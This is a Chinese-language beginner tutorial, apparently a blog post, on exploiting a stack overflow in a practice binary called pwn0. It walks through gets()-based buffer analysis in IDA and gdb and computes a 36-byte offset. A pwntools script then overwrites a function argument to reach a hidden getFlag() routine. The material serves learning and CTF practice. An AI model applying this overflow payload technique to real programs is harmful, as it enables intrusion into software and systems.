Linux 二进制漏洞挖掘入门系列之(一)栈溢出

0x10 环境

  • gdb-peda 插件,用来调试程序时,高亮不同寄存器,堆栈的地址和数据
  • Windows 环境下的 IDA Pro,强大的交互式反汇编工具
  • 测试程序(即带有栈溢出漏洞的二进制可执行文件)
  • 虚拟机装有 Linux 发行版,例如 Ubuntu、Kali,用来运行测试程序
  • pwntools,如果要写 POC,会用到此 python 包

测试程序下载地址

1
链接:https://pan.baidu.com/s/1U3ktIz-veMuktutss-oGuA
提取码:9sn2
2
下面文件下载后,放在linux下的 /home/pwn/pwn0/
链接:https://pan.baidu.com/s/11lm17lllPZ5A8rrcuCELAg
提取码:knpf

gdb-peda 插件安装终端输入以下命令,即可安装成功

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

对于非 Kali 的 Linux 发行版,我们还需要安装 checksec,一个用来检查 ELF 二进制可执行文件的保护措施的小程序

apt-get install checksec

0x20 漏洞分析

首先当然是运行目标程序,亲手体验一下程序的作用,然后再反编译代码,进行静态分析,找到其中可能存在的 bug,最后进行利用

0x21 初步分析

在 linux 环境下检测之前下载好的文件类型。从结果不难看出,文件类型是 ELF 32 位的可执行程序,架构是 Intel x86,也就是说该程序无法在 ARM 架构的处理器上运行。
在这里插入图片描述
检查以下目标程序有没有保护措施,如果是自己安装的 checksec ,需要加入 -f 参数,即 checksec -f pwn0
在这里插入图片描述

  • Arch,即我们刚刚说的架构,32 位
  • Stack / CANNARY (栈保护),类似于cookie, 防止利用栈溢出覆盖和篡改
  • FORTIFY,对字符串格式化漏洞的保护,一般在 gcc 编译时考虑
  • NX 即 No-eXecute(不可执行),栈数据没有可执行权限
  • RELRO 分为RELRO会有Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表

在 linux 环境下运行下载好的测试程序 pwn0
在这里插入图片描述
这个程序比较简单,就是你输入什么,屏幕会打印什么,至于有没有漏洞存在,需要使用工具来进行分析源码

0x22 静态分析

使用 IDA Pro 打开目标程序 pwn0,由于测试程序是 32 位的,需要使用 32 位 IDA 打开。打开之后,给我们呈现的是反汇编代码,如果你不习惯使用汇编,可以按 F5,得到 IDA 反编译的伪码(C语言),接近源码,这也是 IDA 强大的原因之一
在这里插入图片描述
我们发现,foo() 函数传递的 a1 参数值是固定的,也就是 foo 函数第 8 行的判断永远不成立,导致 getFlag() 函数无法运行,我们也就拿不到里面的值

这里存在的问题就是,gets() 函数不会限制用户输入的数据长度,而变量 s 的大小不是无限的,它在栈中,分配一个固定的地址,并且大小有限制。
在这里插入图片描述
上图是一个典型的函数调用栈的示意图,由于没有对用户的输入做判断,我们可以写入大量的值到 s,直到 s 覆盖到函数形参 a1,将 a1 改写为 0x61616161,那么就可以使得 if 条件判断成立,从而得到 flag。现在只需要知道变量 s 离栈底的距离即可

这里,穿插一下基本概念

ESP寄存器用来记录栈顶的地址。随着数据项的入栈和出栈,其值在不断变化
EBP寄存器用于引用当前栈帧中的变量。

事实上 IDA 已经给出答案,在上面静态分析截图的代码中,foo() 函数第 4 行后面,IDA 已给出注释,s 的地址是,ebp - 1Ch,也就是距离 EBP 1C个字节的距离。为了了解 IDA 的计算过程,我们使用 gdb 调试来分析

0x23 gdb 调试分析

我们需要在内存给变量 s 分配地址时,查看栈空间,并观察各个寄存器的状态,这就需要在分配给变量 s 的代码处,设置断点

在 IDA Pro 中,点击 Options > General > Disassembly,勾选下面的选项,这样就能够查看代码段的相关地址,才能根据地址设置断点
在这里插入图片描述
查看定义变量 s 的代码
在这里插入图片描述
这是 foo() 函数的汇编代码,不难看出,在 0x080485AB 处,开始给变量 s 分配内存。也就是说,需要利用 gdb 调试,在该地址处设置断点,并查看此时的寄存器和函数栈分配情况
在这里插入图片描述
如上图,此时栈顶位置就是分配给 s 变量的位置,即 EAX 寄存器存放的数据,它与 EBP 的距离为 0xffffd328 - 0xffffd30c = 0x1c,与 IDA 分析的一致

所以,最终,变量 s 距离栈底,形参 a1

(EBP - EAX)+ EBP + EIP
0xffffd328 - 0xffffd30c + 0x4 + 0x4   #  寄存器存放 32 位数据,即 4 字节
(上述结果为十进制数 36)

0x30 验证

运行 pwn0,输入 36 个 A(也可以是其他填充数据),再输入1234(也是测试数据),那么填充数据理论上覆盖了 s 以下的栈空间,1234 刚好覆盖形参 a1,还是用 gdb 来验证吧

0x31 gdb 验证

接着 0x23 节设置的断点(s 赋值前),我们再在后面设置一个断点,断点位置不用太固定,从下图随便选一个地址作为点(s 赋值后)即可,重要的是,必须是在 s 赋值后
在这里插入图片描述
首先观察 s 赋值前,栈空间的数据,此时形参 a1 仍然是 0x12345678
在这里插入图片描述
然后设置第二个断点,在 gdb 中输入 c,继续第一个断点后运行程序,此时程序提示输入,我们按照 0x20 的分析,输入以下数据
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2222
数据来源:

payload = A' * (0xffffd328 - 0xffffd30c) + 'A' * 0x4 + 'A' * 0x4
payload += 2222  	# 字符 A 用来填充,可以随意更换,字符 1234 用来覆盖形参 a1
print payload

此时,再用 gdb 查看栈空间
在这里插入图片描述
达到相应效果,形参 a1 的值被替换

0x32 编写代码验证

注意事项:内存存储数字可能未必是我们输入的数字,可能需要转换为字符串,然后输入

# -*- coding: utf-8 -*-
import pwn

pwn_object = pwn.process("./pwn0")
print pwn_object.recvline()		# 读取一行程序输出后,print打印出来(so,can you find flag?)

payload = 'A' * (0xffffd328 - 0xffffd30c) + 'A' * 0x4 + 'A' * 0x4
payload += pwn.p32(0x61616161)
pwn_object.sendline(payload)	# 用p32转换字符,加在payload末尾

print pwn_object.recvline()
print pwn_object.recvline()

程序输出结果:
在这里插入图片描述
至此,我们已经成功的让程序运行到,它原本不可能执行的地方了
——————————————————————————————
原创文章,转载请注明出处!

发布了23 篇原创文章 · 获赞 22 · 访问量 4万+

猜你喜欢

转载自blog.csdn.net/song_lee/article/details/99694514